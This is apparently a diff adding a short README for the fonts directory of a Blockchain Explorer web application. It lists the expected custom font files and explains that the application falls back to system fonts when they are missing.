+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.
